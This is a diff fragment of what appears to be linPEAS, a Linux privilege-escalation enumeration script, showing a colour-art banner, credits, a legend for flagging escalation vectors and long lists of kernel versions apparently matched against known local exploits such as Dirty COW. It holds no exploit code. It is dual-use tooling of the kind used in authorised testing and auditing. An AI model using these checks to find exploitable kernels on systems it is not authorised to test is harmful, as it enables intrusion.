+ \e[38;2;95;106;94m▀\e[38;2;81;137;65m▀\e[38;2;91;166;73m▀\e[48;2;95;174;76m\e[38;2;61;73;59m▄\e[48;2;98;177;78m\e[38;2;33;66;26m▄\e[48;2;98;177;78m\e[38;2;81;143;65m▄\e[48;2;98;177;78m\e[38;2;102;182;81m▄\e[48;2;98;177;78m\e[38;2;97;176;77m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;99;179;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;178;78m\e[38;2;98;177;78m▄\e[48;2;98;179;78m\e[38;2;98;177;78m▄\e[48;2;97;177;77m\e[38;2;98;177;78m▄\e[48;2;98;177;78m \e[48;2;98;177;78m \e[48;2;98;177;78m\e[38;2;98;176;78m▄\e[48;2;98;177;78m\e[38;2;99;179;78m▄\e[48;2;98;177;78m\e[38;2;93;169;74m▄\e[48;2;98;177;78m\e[38;2;56;106;44m▄\e[48;2;96;174;77m\e[38;2;16;31;13m▄\e[48;2;68;126;54m\e[38;2;58;58;58m▄\e[0m\e[38;2;28;50;23m▀\e[38;2;20;22;20m▀\e[0m
+ \e[38;2;41;52;39m▀\e[38;2;39;76;30m▀\e[38;2;73;136;57m▀\e[48;2;90;162;72m\e[38;2;96;100;95m▄\e[48;2;99;175;79m\e[38;2;60;69;58m▄\e[48;2;98;177;78m\e[38;2;46;59;43m▄\e[48;2;98;177;78m\e[38;2;32;51;27m▄\e[48;2;98;178;78m\e[38;2;28;50;23m▄\e[48;2;98;178;78m\e[38;2;28;55;22m▄\e[48;2;98;178;78m\e[38;2;35;64;28m▄\e[48;2;98;177;78m\e[38;2;41;75;33m▄\e[48;2;98;177;78m\e[38;2;50;89;41m▄\e[48;2;98;177;77m\e[38;2;54;89;45m▄\e[48;2;98;177;77m\e[38;2;53;89;44m▄\e[48;2;98;177;78m\e[38;2;49;86;39m▄\e[48;2;98;177;78m\e[38;2;45;83;36m▄\e[48;2;98;177;78m\e[38;2;40;74;32m▄\e[48;2;98;177;78m\e[38;2;35;64;28m▄\e[48;2;98;178;78m\e[38;2;39;60;33m▄\e[48;2;90;163;71m\e[38;2;55;61;53m▄\e[0m\e[38;2;53;97;41m▀\e[38;2;24;44;19m▀\e[38;2;36;41;35m▀\e[0m
+'";
+ else
+ echo " \e[48;5;108m \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;22m \e[48;5;108m \e[48;5;114m \e[48;5;59m \e[49m
+ \e[48;5;108m \e[48;5;71m \e[48;5;22m \e[48;5;113m \e[48;5;71m \e[48;5;94m \e[48;5;214m \e[48;5;58m \e[48;5;214m \e[48;5;100m \e[48;5;71m \e[48;5;16m \e[48;5;108m \e[49m
+ \e[48;5;65m \e[48;5;16m \e[48;5;22m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;65m \e[49m
+ \e[48;5;65m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;65m \e[49m
+ \e[48;5;23m \e[48;5;214m \e[48;5;178m \e[48;5;214m \e[48;5;65m \e[49m
+ \e[48;5;16m \e[48;5;214m \e[48;5;136m \e[48;5;94m \e[48;5;136m \e[48;5;214m \e[48;5;65m \e[49m
+ \e[48;5;58m \e[48;5;214m \e[48;5;172m \e[48;5;64m \e[48;5;77m \e[48;5;71m \e[48;5;65m \e[49m
+ \e[48;5;16m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;77m \e[48;5;65m \e[49m
+ \e[48;5;59m \e[48;5;71m \e[48;5;77m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;16m \e[48;5;77m \e[48;5;65m \e[49m
+ \e[48;5;65m \e[48;5;77m \e[48;5;71m \e[48;5;16m \e[48;5;77m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[49m
+ \e[48;5;65m \e[48;5;16m \e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;150m \e[48;5;113m \e[48;5;77m \e[48;5;65m \e[48;5;59m \e[48;5;65m \e[49m
+ \e[48;5;16m \e[48;5;65m \e[48;5;71m \e[48;5;77m \e[48;5;71m \e[48;5;22m \e[48;5;65m \e[49m
+ \e[48;5;108m \e[48;5;107m \e[48;5;59m \e[48;5;77m \e[48;5;16m \e[48;5;114m \e[48;5;108m \e[49m"
+ fi
+ fi
+}
+
+
+print_support () {
+ printf """
+ ${GREEN}/---------------------------------------------------------------------------------\\
+ | ${BLUE}Do you like PEASS?${GREEN} |
+ |---------------------------------------------------------------------------------|
+ | ${YELLOW}Follow on Twitter${GREEN} : ${RED}@hacktricks_live${GREEN} |
+ | ${YELLOW}Respect on HTB${GREEN} : ${RED}SirBroccoli ${GREEN} |
+ |---------------------------------------------------------------------------------|
+ | ${BLUE}Thank you! ${GREEN} |
+ \---------------------------------------------------------------------------------/
+"""
+}
+
+###########################################
+#-----------) Starting Output (-----------#
+###########################################
+
+echo ""
+if [ ! "$QUIET" ]; then print_banner; print_support; fi
+printf ${BLUE}" $SCRIPTNAME-$VERSION ${YELLOW}by github.com/PEASS-ng\n"$NC;
+echo ""
+printf ${YELLOW}"ADVISORY: ${BLUE}$ADVISORY\n$NC"
+echo ""
+printf ${BLUE}"Linux Privesc Checklist: ${YELLOW}https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist\n"$NC
+echo " LEGEND:" | sed "s,LEGEND,${C}[1;4m&${C}[0m,"
+echo " RED/YELLOW: 95% a PE vector" | sed "s,RED/YELLOW,${SED_RED_YELLOW},"
+echo " RED: You should take a look to it" | sed "s,RED,${SED_RED},"
+echo " LightCyan: Users with console" | sed "s,LightCyan,${SED_LIGHT_CYAN},"
+echo " Blue: Users without console & mounted devs" | sed "s,Blue,${SED_BLUE},"
+echo " Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) " | sed "s,Green,${SED_GREEN},"
+echo " LightMagenta: Your username" | sed "s,LightMagenta,${SED_LIGHT_MAGENTA},"
+if [ "$IAMROOT" ]; then
+ echo ""
+ echo " YOU ARE ALREADY ROOT!!! (it could take longer to complete execution)" | sed "s,YOU ARE ALREADY ROOT!!!,${SED_RED_YELLOW},"
+ sleep 3
+fi
+echo ""
+printf " ${DG}Starting $SCRIPTNAME. Caching Writable Folders...$NC"
+echo ""
+
+###########################################
+#---------------) Lists (-----------------#
+###########################################
+
+filename="$SCRIPTNAME.txt$RANDOM"
+kernelB=" 4.0.[0-9]+| 4.1.[0-9]+| 4.2.[0-9]+| 4.3.[0-9]+| 4.4.[0-9]+| 4.5.[0-9]+| 4.6.[0-9]+| 4.7.[0-9]+| 4.8.[0-9]+| 4.9.[0-9]+| 4.10.[0-9]+| 4.11.[0-9]+| 4.12.[0-9]+| 4.13.[0-9]+| 3.9.6| 3.9.0| 3.9| 3.8.9| 3.8.8| 3.8.7| 3.8.6| 3.8.5| 3.8.4| 3.8.3| 3.8.2| 3.8.1| 3.8.0| 3.8| 3.7.6| 3.7.0| 3.7| 3.6.0| 3.6| 3.5.0| 3.5| 3.4.9| 3.4.8| 3.4.6| 3.4.5| 3.4.4| 3.4.3| 3.4.2| 3.4.1| 3.4.0| 3.4| 3.3| 3.2| 3.19.0| 3.16.0| 3.15| 3.14| 3.13.1| 3.13.0| 3.13| 3.12.0| 3.12| 3.11.0| 3.11| 3.10.6| 3.10.0| 3.10| 3.1.0| 3.0.6| 3.0.5| 3.0.4| 3.0.3| 3.0.2| 3.0.1| 3.0.0| 2.6.9| 2.6.8| 2.6.7| 2.6.6| 2.6.5| 2.6.4| 2.6.39| 2.6.38| 2.6.37| 2.6.36| 2.6.35| 2.6.34| 2.6.33| 2.6.32| 2.6.31| 2.6.30| 2.6.3| 2.6.29| 2.6.28| 2.6.27| 2.6.26| 2.6.25| 2.6.24.1| 2.6.24| 2.6.23| 2.6.22| 2.6.21| 2.6.20| 2.6.2| 2.6.19| 2.6.18| 2.6.17| 2.6.16| 2.6.15| 2.6.14| 2.6.13| 2.6.12| 2.6.11| 2.6.10| 2.6.1| 2.6.0| 2.4.9| 2.4.8| 2.4.7| 2.4.6| 2.4.5| 2.4.4| 2.4.37| 2.4.36| 2.4.35| 2.4.34| 2.4.33| 2.4.32| 2.4.31| 2.4.30| 2.4.29| 2.4.28| 2.4.27| 2.4.26| 2.4.25| 2.4.24| 2.4.23| 2.4.22| 2.4.21| 2.4.20| 2.4.19| 2.4.18| 2.4.17| 2.4.16| 2.4.15| 2.4.14| 2.4.13| 2.4.12| 2.4.11| 2.4.10| 2.2.24"
+kernelDCW_Ubuntu_Precise_1="3.1.1-1400-linaro-lt-mx5|3.11.0-13-generic|3.11.0-14-generic|3.11.0-15-generic|3.11.0-17-generic|3.11.0-18-generic|3.11.0-20-generic|3.11.0-22-generic|3.11.0-23-generic|3.11.0-24-generic|3.11.0-26-generic|3.13.0-100-generic|3.13.0-24-generic|3.13.0-27-generic|3.13.0-29-generic|3.13.0-30-generic|3.13.0-32-generic|3.13.0-33-generic|3.13.0-34-generic|3.13.0-35-generic|3.13.0-36-generic|3.13.0-37-generic|3.13.0-39-generic|3.13.0-40-generic|3.13.0-41-generic|3.13.0-43-generic|3.13.0-44-generic|3.13.0-46-generic|3.13.0-48-generic|3.13.0-49-generic|3.13.0-51-generic|3.13.0-52-generic|3.13.0-53-generic|3.13.0-54-generic|3.13.0-55-generic|3.13.0-57-generic|3.13.0-58-generic|3.13.0-59-generic|3.13.0-61-generic|3.13.0-62-generic|3.13.0-63-generic|3.13.0-65-generic|3.13.0-66-generic|3.13.0-67-generic|3.13.0-68-generic|3.13.0-71-generic|3.13.0-73-generic|3.13.0-74-generic|3.13.0-76-generic|3.13.0-77-generic|3.13.0-79-generic|3.13.0-83-generic|3.13.0-85-generic|3.13.0-86-generic|3.13.0-88-generic|3.13.0-91-generic|3.13.0-92-generic|3.13.0-93-generic|3.13.0-95-generic|3.13.0-96-generic|3.13.0-98-generic|3.2.0-101-generic|3.2.0-101-generic-pae|3.2.0-101-virtual|3.2.0-102-generic|3.2.0-102-generic-pae|3.2.0-102-virtual"
+kernelDCW_Ubuntu_Precise_2="3.2.0-104-generic|3.2.0-104-generic-pae|3.2.0-104-virtual|3.2.0-105-generic|3.2.0-105-generic-pae|3.2.0-105-virtual|3.2.0-106-generic|3.2.0-106-generic-pae|3.2.0-106-virtual|3.2.0-107-generic|3.2.0-107-generic-pae|3.2.0-107-virtual|3.2.0-109-generic|3.2.0-109-generic-pae|3.2.0-109-virtual|3.2.0-110-generic|3.2.0-110-generic-pae|3.2.0-110-virtual|3.2.0-111-generic|3.2.0-111-generic-pae|3.2.0-111-virtual|3.2.0-1412-omap4|3.2.0-1602-armadaxp|3.2.0-23-generic|3.2.0-23-generic-pae|3.2.0-23-lowlatency|3.2.0-23-lowlatency-pae|3.2.0-23-omap|3.2.0-23-powerpc-smp|3.2.0-23-powerpc64-smp|3.2.0-23-virtual|3.2.0-24-generic|3.2.0-24-generic-pae|3.2.0-24-virtual|3.2.0-25-generic|3.2.0-25-generic-pae|3.2.0-25-virtual|3.2.0-26-generic|3.2.0-26-generic-pae|3.2.0-26-virtual|3.2.0-27-generic|3.2.0-27-generic-pae|3.2.0-27-virtual|3.2.0-29-generic|3.2.0-29-generic-pae|3.2.0-29-virtual|3.2.0-31-generic|3.2.0-31-generic-pae|3.2.0-31-virtual|3.2.0-32-generic|3.2.0-32-generic-pae|3.2.0-32-virtual|3.2.0-33-generic|3.2.0-33-generic-pae|3.2.0-33-lowlatency|3.2.0-33-lowlatency-pae|3.2.0-33-virtual|3.2.0-34-generic|3.2.0-34-generic-pae|3.2.0-34-virtual|3.2.0-35-generic|3.2.0-35-generic-pae|3.2.0-35-lowlatency|3.2.0-35-lowlatency-pae|3.2.0-35-virtual"
+kernelDCW_Ubuntu_Precise_3="3.2.0-36-generic|3.2.0-36-generic-pae|3.2.0-36-lowlatency|3.2.0-36-lowlatency-pae|3.2.0-36-virtual|3.2.0-37-generic|3.2.0-37-generic-pae|3.2.0-37-lowlatency|3.2.0-37-lowlatency-pae|3.2.0-37-virtual|3.2.0-38-generic|3.2.0-38-generic-pae|3.2.0-38-lowlatency|3.2.0-38-lowlatency-pae|3.2.0-38-virtual|3.2.0-39-generic|3.2.0-39-generic-pae|3.2.0-39-lowlatency|3.2.0-39-lowlatency-pae|3.2.0-39-virtual|3.2.0-40-generic|3.2.0-40-generic-pae|3.2.0-40-lowlatency|3.2.0-40-lowlatency-pae|3.2.0-40-virtual|3.2.0-41-generic|3.2.0-41-generic-pae|3.2.0-41-lowlatency|3.2.0-41-lowlatency-pae|3.2.0-41-virtual|3.2.0-43-generic|3.2.0-43-generic-pae|3.2.0-43-virtual|3.2.0-44-generic|3.2.0-44-generic-pae|3.2.0-44-lowlatency|3.2.0-44-lowlatency-pae|3.2.0-44-virtual|3.2.0-45-generic|3.2.0-45-generic-pae|3.2.0-45-virtual|3.2.0-48-generic|3.2.0-48-generic-pae|3.2.0-48-lowlatency|3.2.0-48-lowlatency-pae|3.2.0-48-virtual|3.2.0-51-generic|3.2.0-51-generic-pae|3.2.0-51-lowlatency|3.2.0-51-lowlatency-pae|3.2.0-51-virtual|3.2.0-52-generic|3.2.0-52-generic-pae|3.2.0-52-lowlatency|3.2.0-52-lowlatency-pae|3.2.0-52-virtual|3.2.0-53-generic"
+kernelDCW_Ubuntu_Precise_4="3.2.0-53-generic-pae|3.2.0-53-lowlatency|3.2.0-53-lowlatency-pae|3.2.0-53-virtual|3.2.0-54-generic|3.2.0-54-generic-pae|3.2.0-54-lowlatency|3.2.0-54-lowlatency-pae|3.2.0-54-virtual|3.2.0-55-generic|3.2.0-55-generic-pae|3.2.0-55-lowlatency|3.2.0-55-lowlatency-pae|3.2.0-55-virtual|3.2.0-56-generic|3.2.0-56-generic-pae|3.2.0-56-lowlatency|3.2.0-56-lowlatency-pae|3.2.0-56-virtual|3.2.0-57-generic|3.2.0-57-generic-pae|3.2.0-57-lowlatency|3.2.0-57-lowlatency-pae|3.2.0-57-virtual|3.2.0-58-generic|3.2.0-58-generic-pae|3.2.0-58-lowlatency|3.2.0-58-lowlatency-pae|3.2.0-58-virtual|3.2.0-59-generic|3.2.0-59-generic-pae|3.2.0-59-lowlatency|3.2.0-59-lowlatency-pae|3.2.0-59-virtual|3.2.0-60-generic|3.2.0-60-generic-pae|3.2.0-60-lowlatency|3.2.0-60-lowlatency-pae|3.2.0-60-virtual|3.2.0-61-generic|3.2.0-61-generic-pae|3.2.0-61-virtual|3.2.0-63-generic|3.2.0-63-generic-pae|3.2.0-63-lowlatency|3.2.0-63-lowlatency-pae|3.2.0-63-virtual|3.2.0-64-generic|3.2.0-64-generic-pae|3.2.0-64-lowlatency|3.2.0-64-lowlatency-pae|3.2.0-64-virtual|3.2.0-65-generic|3.2.0-65-generic-pae|3.2.0-65-lowlatency|3.2.0-65-lowlatency-pae|3.2.0-65-virtual|3.2.0-67-generic|3.2.0-67-generic-pae|3.2.0-67-lowlatency|3.2.0-67-lowlatency-pae|3.2.0-67-virtual|3.2.0-68-generic"
+kernelDCW_Ubuntu_Precise_5="3.2.0-68-generic-pae|3.2.0-68-lowlatency|3.2.0-68-lowlatency-pae|3.2.0-68-virtual|3.2.0-69-generic|3.2.0-69-generic-pae|3.2.0-69-lowlatency|3.2.0-69-lowlatency-pae|3.2.0-69-virtual|3.2.0-70-generic|3.2.0-70-generic-pae|3.2.0-70-lowlatency|3.2.0-70-lowlatency-pae|3.2.0-70-virtual|3.2.0-72-generic|3.2.0-72-generic-pae|3.2.0-72-lowlatency|3.2.0-72-lowlatency-pae|3.2.0-72-virtual|3.2.0-73-generic|3.2.0-73-generic-pae|3.2.0-73-lowlatency|3.2.0-73-lowlatency-pae|3.2.0-73-virtual|3.2.0-74-generic|3.2.0-74-generic-pae|3.2.0-74-lowlatency|3.2.0-74-lowlatency-pae|3.2.0-74-virtual|3.2.0-75-generic|3.2.0-75-generic-pae|3.2.0-75-lowlatency|3.2.0-75-lowlatency-pae|3.2.0-75-virtual|3.2.0-76-generic|3.2.0-76-generic-pae|3.2.0-76-lowlatency|3.2.0-76-lowlatency-pae|3.2.0-76-virtual|3.2.0-77-generic|3.2.0-77-generic-pae|3.2.0-77-lowlatency|3.2.0-77-lowlatency-pae|3.2.0-77-virtual|3.2.0-79-generic|3.2.0-79-generic-pae|3.2.0-79-lowlatency|3.2.0-79-lowlatency-pae|3.2.0-79-virtual|3.2.0-80-generic|3.2.0-80-generic-pae|3.2.0-80-lowlatency|3.2.0-80-lowlatency-pae|3.2.0-80-virtual|3.2.0-82-generic|3.2.0-82-generic-pae|3.2.0-82-lowlatency|3.2.0-82-lowlatency-pae|3.2.0-82-virtual|3.2.0-83-generic|3.2.0-83-generic-pae|3.2.0-83-virtual|3.2.0-84-generic"
+kernelDCW_Ubuntu_Precise_6="3.2.0-84-generic-pae|3.2.0-84-virtual|3.2.0-85-generic|3.2.0-85-generic-pae|3.2.0-85-virtual|3.2.0-86-generic|3.2.0-86-generic-pae|3.2.0-86-virtual|3.2.0-87-generic|3.2.0-87-generic-pae|3.2.0-87-virtual|3.2.0-88-generic|3.2.0-88-generic-pae|3.2.0-88-virtual|3.2.0-89-generic|3.2.0-89-generic-pae|3.2.0-89-virtual|3.2.0-90-generic|3.2.0-90-generic-pae|3.2.0-90-virtual|3.2.0-91-generic|3.2.0-91-generic-pae|3.2.0-91-virtual|3.2.0-92-generic|3.2.0-92-generic-pae|3.2.0-92-virtual|3.2.0-93-generic|3.2.0-93-generic-pae|3.2.0-93-virtual|3.2.0-94-generic|3.2.0-94-generic-pae|3.2.0-94-virtual|3.2.0-95-generic|3.2.0-95-generic-pae|3.2.0-95-virtual|3.2.0-96-generic|3.2.0-96-generic-pae|3.2.0-96-virtual|3.2.0-97-generic|3.2.0-97-generic-pae|3.2.0-97-virtual|3.2.0-98-generic|3.2.0-98-generic-pae|3.2.0-98-virtual|3.2.0-99-generic|3.2.0-99-generic-pae|3.2.0-99-virtual|3.5.0-40-generic|3.5.0-41-generic|3.5.0-42-generic|3.5.0-43-generic|3.5.0-44-generic|3.5.0-45-generic|3.5.0-46-generic|3.5.0-49-generic|3.5.0-51-generic|3.5.0-52-generic|3.5.0-54-generic|3.8.0-19-generic|3.8.0-21-generic|3.8.0-22-generic|3.8.0-23-generic|3.8.0-27-generic|3.8.0-29-generic|3.8.0-30-generic|3.8.0-31-generic|3.8.0-32-generic|3.8.0-33-generic|3.8.0-34-generic|3.8.0-35-generic|3.8.0-36-generic|3.8.0-37-generic|3.8.0-38-generic|3.8.0-39-generic|3.8.0-41-generic|3.8.0-42-generic"
+kernelDCW_Ubuntu_Trusty_1="3.13.0-24-generic|3.13.0-24-generic-lpae|3.13.0-24-lowlatency|3.13.0-24-powerpc-e500|3.13.0-24-powerpc-e500mc|3.13.0-24-powerpc-smp|3.13.0-24-powerpc64-emb|3.13.0-24-powerpc64-smp|3.13.0-27-generic|3.13.0-27-lowlatency|3.13.0-29-generic|3.13.0-29-lowlatency|3.13.0-3-exynos5|3.13.0-30-generic|3.13.0-30-lowlatency|3.13.0-32-generic|3.13.0-32-lowlatency|3.13.0-33-generic|3.13.0-33-lowlatency|3.13.0-34-generic|3.13.0-34-lowlatency|3.13.0-35-generic|3.13.0-35-lowlatency|3.13.0-36-generic|3.13.0-36-lowlatency|3.13.0-37-generic|3.13.0-37-lowlatency|3.13.0-39-generic|3.13.0-39-lowlatency|3.13.0-40-generic|3.13.0-40-lowlatency|3.13.0-41-generic|3.13.0-41-lowlatency|3.13.0-43-generic|3.13.0-43-lowlatency|3.13.0-44-generic|3.13.0-44-lowlatency|3.13.0-46-generic|3.13.0-46-lowlatency|3.13.0-48-generic|3.13.0-48-lowlatency|3.13.0-49-generic|3.13.0-49-lowlatency|3.13.0-51-generic|3.13.0-51-lowlatency|3.13.0-52-generic|3.13.0-52-lowlatency|3.13.0-53-generic|3.13.0-53-lowlatency|3.13.0-54-generic|3.13.0-54-lowlatency|3.13.0-55-generic|3.13.0-55-lowlatency|3.13.0-57-generic|3.13.0-57-lowlatency|3.13.0-58-generic|3.13.0-58-lowlatency|3.13.0-59-generic|3.13.0-59-lowlatency|3.13.0-61-generic|3.13.0-61-lowlatency|3.13.0-62-generic|3.13.0-62-lowlatency|3.13.0-63-generic|3.13.0-63-lowlatency|3.13.0-65-generic|3.13.0-65-lowlatency|3.13.0-66-generic|3.13.0-66-lowlatency"
+kernelDCW_Ubuntu_Trusty_2="3.13.0-67-generic|3.13.0-67-lowlatency|3.13.0-68-generic|3.13.0-68-lowlatency|3.13.0-70-generic|3.13.0-70-lowlatency|3.13.0-71-generic|3.13.0-71-lowlatency|3.13.0-73-generic|3.13.0-73-lowlatency|3.13.0-74-generic|3.13.0-74-lowlatency|3.13.0-76-generic|3.13.0-76-lowlatency|3.13.0-77-generic|3.13.0-77-lowlatency|3.13.0-79-generic|3.13.0-79-lowlatency|3.13.0-83-generic|3.13.0-83-lowlatency|3.13.0-85-generic|3.13.0-85-lowlatency|3.13.0-86-generic|3.13.0-86-lowlatency|3.13.0-87-generic|3.13.0-87-lowlatency|3.13.0-88-generic|3.13.0-88-lowlatency|3.13.0-91-generic|3.13.0-91-lowlatency|3.13.0-92-generic|3.13.0-92-lowlatency|3.13.0-93-generic|3.13.0-93-lowlatency|3.13.0-95-generic|3.13.0-95-lowlatency|3.13.0-96-generic|3.13.0-96-lowlatency|3.13.0-98-generic|3.13.0-98-lowlatency|3.16.0-25-generic|3.16.0-25-lowlatency|3.16.0-26-generic|3.16.0-26-lowlatency|3.16.0-28-generic|3.16.0-28-lowlatency|3.16.0-29-generic|3.16.0-29-lowlatency|3.16.0-31-generic|3.16.0-31-lowlatency|3.16.0-33-generic|3.16.0-33-lowlatency|3.16.0-34-generic|3.16.0-34-lowlatency|3.16.0-36-generic|3.16.0-36-lowlatency|3.16.0-37-generic|3.16.0-37-lowlatency|3.16.0-38-generic|3.16.0-38-lowlatency|3.16.0-39-generic|3.16.0-39-lowlatency|3.16.0-41-generic|3.16.0-41-lowlatency|3.16.0-43-generic|3.16.0-43-lowlatency|3.16.0-44-generic|3.16.0-44-lowlatency|3.16.0-45-generic"
+kernelDCW_Ubuntu_Trusty_3="3.16.0-45-lowlatency|3.16.0-46-generic|3.16.0-46-lowlatency|3.16.0-48-generic|3.16.0-48-lowlatency|3.16.0-49-generic|3.16.0-49-lowlatency|3.16.0-50-generic|3.16.0-50-lowlatency|3.16.0-51-generic|3.16.0-51-lowlatency|3.16.0-52-generic|3.16.0-52-lowlatency|3.16.0-53-generic|3.16.0-53-lowlatency|3.16.0-55-generic|3.16.0-55-lowlatency|3.16.0-56-generic|3.16.0-56-lowlatency|3.16.0-57-generic|3.16.0-57-lowlatency|3.16.0-59-generic|3.16.0-59-lowlatency|3.16.0-60-generic|3.16.0-60-lowlatency|3.16.0-62-generic|3.16.0-62-lowlatency|3.16.0-67-generic|3.16.0-67-lowlatency|3.16.0-69-generic|3.16.0-69-lowlatency|3.16.0-70-generic|3.16.0-70-lowlatency|3.16.0-71-generic|3.16.0-71-lowlatency|3.16.0-73-generic|3.16.0-73-lowlatency|3.16.0-76-generic|3.16.0-76-lowlatency|3.16.0-77-generic|3.16.0-77-lowlatency|3.19.0-20-generic|3.19.0-20-lowlatency|3.19.0-21-generic|3.19.0-21-lowlatency|3.19.0-22-generic|3.19.0-22-lowlatency|3.19.0-23-generic|3.19.0-23-lowlatency|3.19.0-25-generic|3.19.0-25-lowlatency|3.19.0-26-generic|3.19.0-26-lowlatency|3.19.0-28-generic|3.19.0-28-lowlatency|3.19.0-30-generic|3.19.0-30-lowlatency|3.19.0-31-generic|3.19.0-31-lowlatency|3.19.0-32-generic|3.19.0-32-lowlatency|3.19.0-33-generic|3.19.0-33-lowlatency|3.19.0-37-generic|3.19.0-37-lowlatency|3.19.0-39-generic|3.19.0-39-lowlatency|3.19.0-41-generic|3.19.0-41-lowlatency|3.19.0-42-generic"
+kernelDCW_Ubuntu_Trusty_4="3.19.0-42-lowlatency|3.19.0-43-generic|3.19.0-43-lowlatency|3.19.0-47-generic|3.19.0-47-lowlatency|3.19.0-49-generic|3.19.0-49-lowlatency|3.19.0-51-generic|3.19.0-51-lowlatency|3.19.0-56-generic|3.19.0-56-lowlatency|3.19.0-58-generic|3.19.0-58-lowlatency|3.19.0-59-generic|3.19.0-59-lowlatency|3.19.0-61-generic|3.19.0-61-lowlatency|3.19.0-64-generic|3.19.0-64-lowlatency|3.19.0-65-generic|3.19.0-65-lowlatency|3.19.0-66-generic|3.19.0-66-lowlatency|3.19.0-68-generic|3.19.0-68-lowlatency|3.19.0-69-generic|3.19.0-69-lowlatency|3.19.0-71-generic|3.19.0-71-lowlatency|3.4.0-5-chromebook|4.2.0-18-generic|4.2.0-18-lowlatency|4.2.0-19-generic|4.2.0-19-lowlatency|4.2.0-21-generic|4.2.0-21-lowlatency|4.2.0-22-generic|4.2.0-22-lowlatency|4.2.0-23-generic|4.2.0-23-lowlatency|4.2.0-25-generic|4.2.0-25-lowlatency|4.2.0-27-generic|4.2.0-27-lowlatency|4.2.0-30-generic|4.2.0-30-lowlatency|4.2.0-34-generic|4.2.0-34-lowlatency|4.2.0-35-generic|4.2.0-35-lowlatency|4.2.0-36-generic|4.2.0-36-lowlatency|4.2.0-38-generic|4.2.0-38-lowlatency|4.2.0-41-generic|4.2.0-41-lowlatency|4.4.0-21-generic|4.4.0-21-lowlatency|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency"
+kernelDCW_Ubuntu_Xenial="4.4.0-1009-raspi2|4.4.0-1012-snapdragon|4.4.0-21-generic|4.4.0-21-generic-lpae|4.4.0-21-lowlatency|4.4.0-21-powerpc-e500mc|4.4.0-21-powerpc-smp|4.4.0-21-powerpc64-emb|4.4.0-21-powerpc64-smp|4.4.0-22-generic|4.4.0-22-lowlatency|4.4.0-24-generic|4.4.0-24-lowlatency|4.4.0-28-generic|4.4.0-28-lowlatency|4.4.0-31-generic|4.4.0-31-lowlatency|4.4.0-34-generic|4.4.0-34-lowlatency|4.4.0-36-generic|4.4.0-36-lowlatency|4.4.0-38-generic|4.4.0-38-lowlatency|4.4.0-42-generic|4.4.0-42-lowlatency"
+kernelDCW_Rhel5_1="2.6.24.7-74.el5rt|2.6.24.7-81.el5rt|2.6.24.7-93.el5rt|2.6.24.7-101.el5rt|2.6.24.7-108.el5rt|2.6.24.7-111.el5rt|2.6.24.7-117.el5rt|2.6.24.7-126.el5rt|2.6.24.7-132.el5rt|2.6.24.7-137.el5rt|2.6.24.7-139.el5rt|2.6.24.7-146.el5rt|2.6.24.7-149.el5rt|2.6.24.7-161.el5rt|2.6.24.7-169.el5rt|2.6.33.7-rt29.45.el5rt|2.6.33.7-rt29.47.el5rt|2.6.33.7-rt29.55.el5rt|2.6.33.9-rt31.64.el5rt|2.6.33.9-rt31.67.el5rt|2.6.33.9-rt31.86.el5rt|2.6.18-8.1.1.el5|2.6.18-8.1.3.el5|2.6.18-8.1.4.el5|2.6.18-8.1.6.el5|2.6.18-8.1.8.el5|2.6.18-8.1.10.el5|2.6.18-8.1.14.el5|2.6.18-8.1.15.el5|2.6.18-53.el5|2.6.18-53.1.4.el5|2.6.18-53.1.6.el5|2.6.18-53.1.13.el5|2.6.18-53.1.14.el5|2.6.18-53.1.19.el5|2.6.18-53.1.21.el5|2.6.18-92.el5|2.6.18-92.1.1.el5|2.6.18-92.1.6.el5|2.6.18-92.1.10.el5|2.6.18-92.1.13.el5|2.6.18-92.1.18.el5|2.6.18-92.1.22.el5|2.6.18-92.1.24.el5|2.6.18-92.1.26.el5|2.6.18-92.1.27.el5|2.6.18-92.1.28.el5|2.6.18-92.1.29.el5|2.6.18-92.1.32.el5|2.6.18-92.1.35.el5|2.6.18-92.1.38.el5|2.6.18-128.el5|2.6.18-128.1.1.el5|2.6.18-128.1.6.el5|2.6.18-128.1.10.el5|2.6.18-128.1.14.el5|2.6.18-128.1.16.el5|2.6.18-128.2.1.el5|2.6.18-128.4.1.el5|2.6.18-128.4.1.el5|2.6.18-128.7.1.el5|2.6.18-128.8.1.el5|2.6.18-128.11.1.el5|2.6.18-128.12.1.el5|2.6.18-128.14.1.el5|2.6.18-128.16.1.el5|2.6.18-128.17.1.el5|2.6.18-128.18.1.el5|2.6.18-128.23.1.el5|2.6.18-128.23.2.el5|2.6.18-128.25.1.el5|2.6.18-128.26.1.el5|2.6.18-128.27.1.el5"
